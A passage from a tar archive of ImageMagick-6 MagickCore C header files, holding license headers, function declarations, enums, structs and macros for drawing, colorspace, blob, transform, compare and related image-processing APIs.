magick_attribute((deprecated)), ThresholdImageChannel(Image *,const char *) magick_attribute((deprecated)), UnshiftImageList(Image **,const Image *,ExceptionInfo *) magick_attribute((deprecated)); extern MagickExport void *AcquireMemory(const size_t) magick_attribute((deprecated)), AcquireSemaphoreInfo(SemaphoreInfo **) magick_attribute((deprecated)), AllocateNextImage(const ImageInfo *,Image *) magick_attribute((deprecated)), *CloneMemory(void *,const void *,const size_t) magick_attribute((deprecated)), ConstituteComponentTerminus(void) magick_attribute((deprecated)), DestroyConstitute(void), DestroyImageAttributes(Image *) magick_attribute((deprecated)), DestroyImages(Image *) magick_attribute((deprecated)), DestroyMagick(void) magick_attribute((deprecated)), DestroyMagickRegistry(void) magick_attribute((deprecated)), *GetConfigureBlob(const char *,char *,size_t *,ExceptionInfo *) magick_attribute((deprecated)), GetExceptionInfo(ExceptionInfo *), *GetMagickRegistry(const ssize_t,RegistryType *,size_t *,ExceptionInfo *) magick_attribute((deprecated)), GetTokenToken(const char *,const char **,char *), IdentityAffine(AffineMatrix *) magick_attribute((deprecated)), LiberateMemory(void **) magick_attribute((deprecated)), LiberateSemaphoreInfo(SemaphoreInfo **) magick_attribute((deprecated)), FormatString(char *,const char *,...) magick_attribute((__format__ (__printf__,2,3))) magick_attribute((deprecated)), FormatStringList(char *,const char *,va_list) magick_attribute((__format__ (__printf__,2,0))) magick_attribute((deprecated)), HSLTransform(const double,const double,const double,Quantum *,Quantum *, Quantum *) magick_attribute((deprecated)), InitializeMagick(const char *) magick_attribute((deprecated)), MagickIncarnate(const char *) magick_attribute((deprecated)), ReacquireMemory(void **,const size_t) magick_attribute((deprecated)), RelinquishSemaphoreInfo(SemaphoreInfo *) magick_attribute((deprecated)), ResetImageAttributeIterator(const Image *) magick_attribute((deprecated)), SetCacheThreshold(const size_t) magick_attribute((deprecated)), SetImage(Image *,const Quantum) magick_attribute((deprecated)), Strip(char *) magick_attribute((deprecated)), TemporaryFilename(char *) magick_attribute((deprecated)), TransformHSL(const Quantum,const Quantum,const Quantum,double *,double *, double *) magick_attribute((deprecated)); #if defined(MAGICKCORE_WINGDI32_DELEGATE) extern MagickExport void *CropImageToHBITMAP(Image *,const RectangleInfo *,ExceptionInfo *), *ImageToHBITMAP(Image *,ExceptionInfo *); #endif /* Inline methods. */ static inline double MagickEpsilonReciprocal(const double x) { double sign; sign=x < 0.0 ? -1.0 : 1.0; if ((sign*x) >= MagickEpsilon) return(1.0/x); return(sign/MagickEpsilon); } static inline Quantum PixelIntensityToQuantum( const Image *magick_restrict image,const PixelPacket *magick_restrict pixel) { return(ClampToQuantum(GetPixelIntensity(image,pixel))); } #endif #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/vision.h 0000644 00000001670 15246445047 0011777 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore computer vision methods. */ #ifndef MAGICKCORE_VISION_H #define MAGICKCORE_VISION_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif extern MagickExport Image *ConnectedComponentsImage(const Image *,const size_t,ExceptionInfo *); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/fx.h 0000644 00000002004 15246445047 0011075 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore image f/x methods. */ #ifndef MAGICKCORE_FX_H #define MAGICKCORE_FX_H #include "magick/draw.h" #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif extern MagickExport Image *FxImage(const Image *,const char *,ExceptionInfo *), *FxImageChannel(const Image *,const ChannelType,const char *,ExceptionInfo *); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/decorate.h 0000644 00000002350 15246445047 0012252 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore image decorate methods. */ #ifndef MAGICKCORE_DECORATE_H #define MAGICKCORE_DECORATE_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif typedef struct _FrameInfo { size_t width, height; ssize_t x, y, inner_bevel, outer_bevel; } FrameInfo; extern MagickExport Image *BorderImage(const Image *,const RectangleInfo *,ExceptionInfo *), *FrameImage(const Image *,const FrameInfo *,ExceptionInfo *); extern MagickExport MagickBooleanType RaiseImage(Image *,const RectangleInfo *,const MagickBooleanType); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/opencl.h 0000644 00000004725 15246445047 0011754 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore OpenCL public methods. */ #ifndef MAGICKCORE_OPENCL_H #define MAGICKCORE_OPENCL_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif /* OpenCL program modules */ typedef enum { MAGICK_OPENCL_ACCELERATE = 0, MAGICK_OPENCL_NUM_PROGRAMS /* !!! This has to be the last entry !!! */ } MagickOpenCLProgram; typedef enum { MAGICK_OPENCL_OFF = 0 , MAGICK_OPENCL_DEVICE_SELECT_AUTO = 1 , MAGICK_OPENCL_DEVICE_SELECT_USER = 2 , MAGICK_OPENCL_DEVICE_SELECT_AUTO_CLEAR_CACHE = 3 } ImageMagickOpenCLMode; /* Parameter type accepted by SetMagickOpenCLEnvParm and GetMagickOpenCLEnvParm */ typedef enum { MAGICK_OPENCL_ENV_PARAM_DEVICE /* cl_device_id (from OpenCL) */ , MAGICK_OPENCL_ENV_PARAM_OPENCL_DISABLED /* MagickBooleanType */ , MAGICK_OPENCL_ENV_PARAM_OPENCL_INITIALIZED /* MagickBooleanType */ , MAGICK_OPENCL_ENV_PARAM_PROGRAM_CACHE_DISABLED /* MagickBooleanType */ /* if true, disable the kernel binary cache */ , MAGICK_OPENCL_ENV_PARAM_REGENERATE_PROFILE /* MagickBooleanType */ /* if true, rerun microbenchmark in auto device selection */ , MAGICK_OPENCL_ENV_PARAM_PLATFORM_VENDOR /* char* */ , MAGICK_OPENCL_ENV_PARAM_DEVICE_NAME /* char* */ } MagickOpenCLEnvParam; typedef struct _MagickCLEnv* MagickCLEnv; extern MagickExport MagickBooleanType GetMagickOpenCLEnvParam(MagickCLEnv,MagickOpenCLEnvParam,size_t,void*, ExceptionInfo*), InitImageMagickOpenCL(ImageMagickOpenCLMode,void*,void*,ExceptionInfo*), InitOpenCLEnv(MagickCLEnv,ExceptionInfo*), SetMagickOpenCLEnvParam(MagickCLEnv,MagickOpenCLEnvParam,size_t,void*, ExceptionInfo*); extern MagickExport MagickCLEnv GetDefaultOpenCLEnv(); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/semaphore.h 0000644 00000002503 15246445047 0012447 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore methods to lock and unlock semaphores. */ #ifndef MAGICKCORE_SEMAPHORE_H #define MAGICKCORE_SEMAPHORE_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif typedef struct SemaphoreInfo SemaphoreInfo; extern MagickExport void SemaphoreComponentTerminus(void); extern MagickExport MagickBooleanType SemaphoreComponentGenesis(void); extern MagickExport SemaphoreInfo *AllocateSemaphoreInfo(void); extern MagickExport void ActivateSemaphoreInfo(SemaphoreInfo **), DestroySemaphoreInfo(SemaphoreInfo **), LockSemaphoreInfo(SemaphoreInfo *), SemaphoreComponentTerminus(void), UnlockSemaphoreInfo(SemaphoreInfo *); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/blob.h 0000644 00000004637 15246445047 0011414 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore Binary Large OBjects methods. */ #ifndef MAGICKCORE_BLOB_H #define MAGICKCORE_BLOB_H #include "magick/image.h" #include "magick/stream.h" #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif #define MagickMaxBufferExtent 524288 #define MagickMinBufferExtent 16384 typedef enum { ReadMode, WriteMode, IOMode, PersistMode } MapMode; extern MagickExport FILE *GetBlobFileHandle(const Image *) magick_attribute((__pure__)); extern MagickExport Image *BlobToImage(const ImageInfo *,const void *,const size_t,ExceptionInfo *), *PingBlob(const ImageInfo *,const void *,const size_t,ExceptionInfo *); extern MagickExport MagickBooleanType BlobToFile(char *,const void *,const size_t,ExceptionInfo *), FileToImage(Image *,const char *), GetBlobError(const Image *) magick_attribute((__pure__)), ImageToFile(Image *,char *,ExceptionInfo *), InjectImageBlob(const ImageInfo *,Image *,Image *,const char *, ExceptionInfo *), IsBlobExempt(const Image *) magick_attribute((__pure__)), IsBlobSeekable(const Image *) magick_attribute((__pure__)), IsBlobTemporary(const Image *) magick_attribute((__pure__)); extern MagickExport MagickSizeType GetBlobSize(const Image *); extern MagickExport StreamHandler GetBlobStreamHandler(const Image *) magick_attribute((__pure__)); extern MagickExport unsigned char *FileToBlob(const char *,const size_t,size_t *,ExceptionInfo *), *GetBlobStreamData(const Image *) magick_attribute((__pure__)), *ImageToBlob(const ImageInfo *,Image *,size_t *,ExceptionInfo *), *ImagesToBlob(const ImageInfo *,Image *,size_t *,ExceptionInfo *); extern MagickExport void DestroyBlob(Image *), DuplicateBlob(Image *,const Image *), SetBlobExempt(Image *,const MagickBooleanType); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/method-attribute.h 0000644 00000010142 15246445047 0013743 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore method attributes. */ #ifndef MAGICKCORE_METHOD_ATTRIBUTE_H #define MAGICKCORE_METHOD_ATTRIBUTE_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif #if defined(_DLL) # define _MAGICKDLL_ # define _MAGICKLIB_ # define MAGICKCORE_MODULES_SUPPORT # undef MAGICKCORE_BUILD_MODULES #endif #if defined(MAGICKCORE_WINDOWS_SUPPORT) && !defined(__CYGWIN__) # define MagickPrivate # if defined(_MT) && defined(_DLL) && !defined(_MAGICKDLL_) && !defined(_LIB) # define _MAGICKDLL_ # endif # if defined(_MAGICKDLL_) # if defined(_VISUALC_) # pragma warning( disable: 4273 ) /* Disable the dll linkage warnings */ # endif # if !defined(_MAGICKLIB_) # if defined(__clang__) || defined(__GNUC__) # define MagickExport __attribute__ ((dllimport)) # else # define MagickExport __declspec(dllimport) # endif # else # if defined(__clang__) || defined(__GNUC__) # define MagickExport __attribute__ ((dllexport)) # else # define MagickExport __declspec(dllexport) # endif # endif # else # define MagickExport # endif # if defined(_DLL) && !defined(_LIB) # if defined(__clang__) || defined(__GNUC__) # define ModuleExport __attribute__ ((dllexport)) # else # define ModuleExport __declspec(dllexport) # endif # else # define ModuleExport # endif # if defined(_VISUALC_) # pragma warning(disable : 4018) # pragma warning(disable : 4068) # pragma warning(disable : 4244) # pragma warning(disable : 4142) # pragma warning(disable : 4800) # pragma warning(disable : 4786) # pragma warning(disable : 4996) # endif #else # if defined(__clang__) || (__GNUC__ >= 4) # define MagickExport __attribute__ ((visibility ("default"))) # define MagickPrivate __attribute__ ((visibility ("hidden"))) # else # define MagickExport # define MagickPrivate # endif # define ModuleExport MagickExport #endif #define MagickCoreSignature 0xabacadabUL #define MagickSignature MagickCoreSignature #if !defined(MaxTextExtent) # define MaxTextExtent 4096 /* always >= max(4096,PATH_MAX) */ #endif #define MagickTimeExtent 26 #if defined(MAGICKCORE_HAVE___ATTRIBUTE__) # define magick_aligned(x,y) x __attribute__((aligned(y))) # define magick_attribute __attribute__ # define magick_unused(x) magick_unused_ ## x __attribute__((unused)) # define magick_unreferenced(x) /* nothing */ #elif defined(MAGICKCORE_WINDOWS_SUPPORT) && !defined(__CYGWIN__) # define magick_aligned(x,y) __declspec(align(y)) x # define magick_attribute(x) /* nothing */ # define magick_unused(x) x # define magick_unreferenced(x) (x) #else # define magick_aligned(x,y) /* nothing */ # define magick_attribute(x) /* nothing */ # define magick_unused(x) x # define magick_unreferenced(x) /* nothing */ #endif #if !defined(__clang__) && (defined(__GNUC__) && (__GNUC__) > 4) # define magick_alloc_size(x) __attribute__((__alloc_size__(x))) # define magick_alloc_sizes(x,y) __attribute__((__alloc_size__(x,y))) # define magick_fallthrough __attribute__((fallthrough)) #else # define magick_alloc_size(x) /* nothing */ # define magick_alloc_sizes(x,y) /* nothing */ # define magick_fallthrough /* nothing */ #endif #if defined(__clang__) || (defined(__GNUC__) && (__GNUC__) > 4) # define magick_cold_spot __attribute__((__cold__)) # define magick_hot_spot __attribute__((__hot__)) #else # define magick_cold_spot # define magick_hot_spot #endif #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/utility.h 0000644 00000003642 15246445047 0012174 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore utility methods. */ #ifndef MAGICKCORE_UTILITY_H #define MAGICKCORE_UTILITY_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif typedef enum { UndefinedPath, MagickPath, RootPath, HeadPath, TailPath, BasePath, ExtensionPath, SubimagePath, CanonicalPath, SubcanonicalPath, BasePathSansCompressExtension } PathType; extern MagickExport char *Base64Encode(const unsigned char *,const size_t,size_t *), **GetPathComponents(const char *,size_t *), **ListFiles(const char *,const char *,size_t *); extern MagickExport MagickBooleanType AcquireUniqueFilename(char *), AcquireUniqueSymbolicLink(const char *,char *), ExpandFilenames(int *,char ***), GetPathAttributes(const char *,void *), GetExecutionPath(char *,const size_t), IsPathAccessible(const char *); extern MagickExport size_t MultilineCensus(const char *) magick_attribute((__pure__)); extern MagickExport ssize_t GetMagickPageSize(void); extern MagickExport unsigned char *Base64Decode(const char *, size_t *); extern MagickExport void AppendImageFormat(const char *,char *), ChopPathComponents(char *,const size_t), ExpandFilename(char *), GetPathComponent(const char *,PathType,char *), MagickDelay(const MagickSizeType); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/draw.h 0000644 00000013177 15246445047 0011432 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore drawing methods. */ #ifndef MAGICKCORE_DRAW_H #define MAGICKCORE_DRAW_H #include "magick/geometry.h" #include "magick/image.h" #include "magick/pixel.h" #include "magick/type.h" #include "magick/color.h" #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif typedef enum { UndefinedAlign, LeftAlign, CenterAlign, RightAlign } AlignType; typedef enum { UndefinedPathUnits, UserSpace, UserSpaceOnUse, ObjectBoundingBox } ClipPathUnits; typedef enum { UndefinedDecoration, NoDecoration, UnderlineDecoration, OverlineDecoration, LineThroughDecoration } DecorationType; typedef enum { UndefinedDirection, RightToLeftDirection, LeftToRightDirection, TopToBottomDirection } DirectionType; typedef enum { UndefinedRule, #undef EvenOddRule EvenOddRule, NonZeroRule } FillRule; typedef enum { UndefinedGradient, LinearGradient, RadialGradient } GradientType; typedef enum { UndefinedCap, ButtCap, RoundCap, SquareCap } LineCap; typedef enum { UndefinedJoin, MiterJoin, RoundJoin, BevelJoin } LineJoin; typedef enum { UndefinedMethod, PointMethod, ReplaceMethod, FloodfillMethod, FillToBorderMethod, ResetMethod } PaintMethod; typedef enum { UndefinedPrimitive, PointPrimitive, LinePrimitive, RectanglePrimitive, RoundRectanglePrimitive, ArcPrimitive, EllipsePrimitive, CirclePrimitive, PolylinePrimitive, PolygonPrimitive, BezierPrimitive, ColorPrimitive, MattePrimitive, TextPrimitive, ImagePrimitive, PathPrimitive } PrimitiveType; typedef enum { UndefinedReference, GradientReference } ReferenceType; typedef enum { UndefinedSpread, PadSpread, ReflectSpread, RepeatSpread } SpreadMethod; typedef struct _PointInfo { double x, y; } PointInfo; typedef struct _StopInfo { MagickPixelPacket color; MagickRealType offset; } StopInfo; typedef struct _GradientInfo { GradientType type; RectangleInfo bounding_box; SegmentInfo gradient_vector; StopInfo *stops; size_t number_stops; SpreadMethod spread; MagickBooleanType debug; size_t signature; PointInfo center; MagickRealType radius, angle; PointInfo radii; } GradientInfo; typedef struct _ElementReference { char *id; ReferenceType type; GradientInfo gradient; size_t signature; struct _ElementReference *previous, *next; } ElementReference; typedef struct _DrawInfo { char *primitive, *geometry; RectangleInfo viewbox; AffineMatrix affine; GravityType gravity; PixelPacket fill, stroke; double stroke_width; GradientInfo gradient; Image *fill_pattern, *tile, *stroke_pattern; MagickBooleanType stroke_antialias, text_antialias; FillRule fill_rule; LineCap linecap; LineJoin linejoin; size_t miterlimit; double dash_offset; DecorationType decorate; CompositeOperator compose; char *text; size_t face; char *font, *metrics, *family; StyleType style; StretchType stretch; size_t weight; char *encoding; double pointsize; char *density; AlignType align; PixelPacket undercolor, border_color; char *server_name; double *dash_pattern; char *clip_mask; SegmentInfo bounds; ClipPathUnits clip_units; Quantum opacity; MagickBooleanType render; ElementReference element_reference; MagickBooleanType debug; size_t signature; double kerning, interword_spacing, interline_spacing; DirectionType direction; double fill_opacity, stroke_opacity; MagickBooleanType clip_path; Image *clipping_mask; ComplianceType compliance; Image *composite_mask; char *id; ImageInfo *image_info; } DrawInfo; typedef struct _PrimitiveInfo { PointInfo point; size_t coordinates; PrimitiveType primitive; PaintMethod method; char *text; MagickBooleanType closed_subpath; } PrimitiveInfo; typedef struct _TypeMetric { PointInfo pixels_per_em; double ascent, descent, width, height, max_advance, underline_position, underline_thickness; SegmentInfo bounds; PointInfo origin; } TypeMetric; extern MagickExport DrawInfo *AcquireDrawInfo(void), *CloneDrawInfo(const ImageInfo *,const DrawInfo *), *DestroyDrawInfo(DrawInfo *); extern MagickExport MagickBooleanType DrawAffineImage(Image *,const Image *,const AffineMatrix *), DrawClipPath(Image *,const DrawInfo *,const char *), DrawGradientImage(Image *,const DrawInfo *), DrawImage(Image *,const DrawInfo *), DrawPatternPath(Image *,const DrawInfo *,const char *,Image **), DrawPrimitive(Image *,const DrawInfo *,const PrimitiveInfo *); extern MagickExport void GetAffineMatrix(AffineMatrix *), GetDrawInfo(const ImageInfo *,DrawInfo *); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/signature.h 0000644 00000001636 15246445047 0012473 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore digital signature methods. */ #ifndef MAGICKCORE_SIGNATURE_H #define MAGICKCORE_SIGNATURE_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif extern MagickExport MagickBooleanType SignatureImage(Image *); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/colorspace.h 0000644 00000004633 15246445047 0012624 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore image colorspace methods. */ #ifndef MAGICKCORE_COLORSPACE_H #define MAGICKCORE_COLORSPACE_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif typedef enum { UndefinedColorspace, RGBColorspace, /* Linear RGB colorspace */ GRAYColorspace, /* greyscale (non-linear) image (faked 1 channel) */ TransparentColorspace, OHTAColorspace, LabColorspace, XYZColorspace, YCbCrColorspace, YCCColorspace, YIQColorspace, YPbPrColorspace, YUVColorspace, CMYKColorspace, /* negated linear RGB with black separated */ sRGBColorspace, /* Default: non-linear sRGB colorspace */ HSBColorspace, HSLColorspace, HWBColorspace, Rec601LumaColorspace, Rec601YCbCrColorspace, Rec709LumaColorspace, Rec709YCbCrColorspace, LogColorspace, CMYColorspace, /* negated linear RGB colorspace */ LuvColorspace, HCLColorspace, LCHColorspace, /* alias for LCHuv */ LMSColorspace, LCHabColorspace, /* Cylindrical (Polar) Lab */ LCHuvColorspace, /* Cylindrical (Polar) Luv */ scRGBColorspace, HSIColorspace, HSVColorspace, /* alias for HSB */ HCLpColorspace, YDbDrColorspace, xyYColorspace, LinearGRAYColorspace /* greyscale (linear) image (faked 1 channel) */ } ColorspaceType; extern MagickExport ColorspaceType GetImageColorspaceType(const Image *,ExceptionInfo *); extern MagickExport MagickBooleanType RGBTransformImage(Image *,const ColorspaceType), SetImageColorspace(Image *,const ColorspaceType), SetImageGray(Image *,ExceptionInfo *), SetImageMonochrome(Image *,ExceptionInfo *), TransformImageColorspace(Image *,const ColorspaceType), TransformRGBImage(Image *,const ColorspaceType); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/type.h 0000644 00000004154 15246445047 0011451 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore image type methods. */ #ifndef MAGICKCORE_TYPE_H #define MAGICKCORE_TYPE_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif typedef enum { UndefinedStretch, NormalStretch, UltraCondensedStretch, ExtraCondensedStretch, CondensedStretch, SemiCondensedStretch, SemiExpandedStretch, ExpandedStretch, ExtraExpandedStretch, UltraExpandedStretch, AnyStretch } StretchType; typedef enum { UndefinedStyle, NormalStyle, ItalicStyle, ObliqueStyle, AnyStyle, BoldStyle /* deprecated */ } StyleType; typedef struct _TypeInfo { size_t face; char *path, *name, *description, *family; StyleType style; StretchType stretch; size_t weight; char *encoding, *foundry, *format, *metrics, *glyphs; MagickBooleanType stealth; struct _TypeInfo *previous, *next; /* deprecated, use GetTypeInfoList() */ size_t signature; } TypeInfo; extern MagickExport char **GetTypeList(const char *,size_t *,ExceptionInfo *); extern MagickExport MagickBooleanType ListTypeInfo(FILE *,ExceptionInfo *), TypeComponentGenesis(void); extern MagickExport const TypeInfo *GetTypeInfo(const char *,ExceptionInfo *), *GetTypeInfoByFamily(const char *,const StyleType,const StretchType, const size_t,ExceptionInfo *), **GetTypeInfoList(const char *,size_t *,ExceptionInfo *); extern MagickExport void TypeComponentTerminus(void); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/transform.h 0000644 00000003634 15246445047 0012505 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore image transform methods. */ #ifndef MAGICKCORE_TRANSFORM_H #define MAGICKCORE_TRANSFORM_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif extern MagickExport Image *AutoOrientImage(const Image *,const OrientationType,ExceptionInfo *), *ChopImage(const Image *,const RectangleInfo *,ExceptionInfo *), *ConsolidateCMYKImages(const Image *,ExceptionInfo *), *CropImage(const Image *,const RectangleInfo *,ExceptionInfo *), *CropImageToTiles(const Image *,const char *, ExceptionInfo *), *ExcerptImage(const Image *,const RectangleInfo *,ExceptionInfo *), *ExtentImage(const Image *,const RectangleInfo *,ExceptionInfo *), *FlipImage(const Image *,ExceptionInfo *), *FlopImage(const Image *,ExceptionInfo *), *RollImage(const Image *,const ssize_t,const ssize_t,ExceptionInfo *), *ShaveImage(const Image *,const RectangleInfo *,ExceptionInfo *), *SpliceImage(const Image *,const RectangleInfo *,ExceptionInfo *), *TransposeImage(const Image *,ExceptionInfo *), *TransverseImage(const Image *,ExceptionInfo *), *TrimImage(const Image *,ExceptionInfo *); extern MagickExport MagickBooleanType TransformImage(Image **,const char *,const char *), TransformImages(Image **,const char *,const char *); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/compare.h 0000644 00000004040 15246445047 0012110 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore image compare methods. */ #ifndef MAGICKCORE_COMPARE_H #define MAGICKCORE_COMPARE_H #include "magick/image.h" #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif typedef enum { UndefinedMetric, AbsoluteErrorMetric, MeanAbsoluteErrorMetric, MeanErrorPerPixelMetric, MeanSquaredErrorMetric, PeakAbsoluteErrorMetric, PeakSignalToNoiseRatioMetric, RootMeanSquaredErrorMetric, NormalizedCrossCorrelationErrorMetric, FuzzErrorMetric, UndefinedErrorMetric = 0, PerceptualHashErrorMetric = 0xff } MetricType; extern MagickExport double *GetImageChannelDistortions(Image *,const Image *,const MetricType, ExceptionInfo *); extern MagickExport Image *CompareImageChannels(Image *,const Image *,const ChannelType, const MetricType,double *,ExceptionInfo *), *CompareImages(Image *,const Image *,const MetricType,double *, ExceptionInfo *), *SimilarityImage(Image *,const Image *,RectangleInfo *,double *, ExceptionInfo *), *SimilarityMetricImage(Image *,const Image *,const MetricType, RectangleInfo *,double *,ExceptionInfo *); extern MagickExport MagickBooleanType GetImageChannelDistortion(Image *,const Image *,const ChannelType, const MetricType,double *,ExceptionInfo *), GetImageDistortion(Image *,const Image *,const MetricType,double *, ExceptionInfo *), IsImagesEqual(Image *,const Image *); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/resize.h 0000644 00000003352 15246445047 0011770 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore image resize methods. */ #ifndef MAGICKCORE_RESIZE_H #define MAGICKCORE_RESIZE_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif typedef struct _ResizeFilter ResizeFilter; extern MagickExport Image *AdaptiveResizeImage(const Image *,const size_t,const size_t,ExceptionInfo *), *InterpolativeResizeImage(const Image *,const size_t,const size_t, const InterpolatePixelMethod,ExceptionInfo *), *LiquidRescaleImage(const Image *,const size_t,const size_t,const double, const double,ExceptionInfo *), 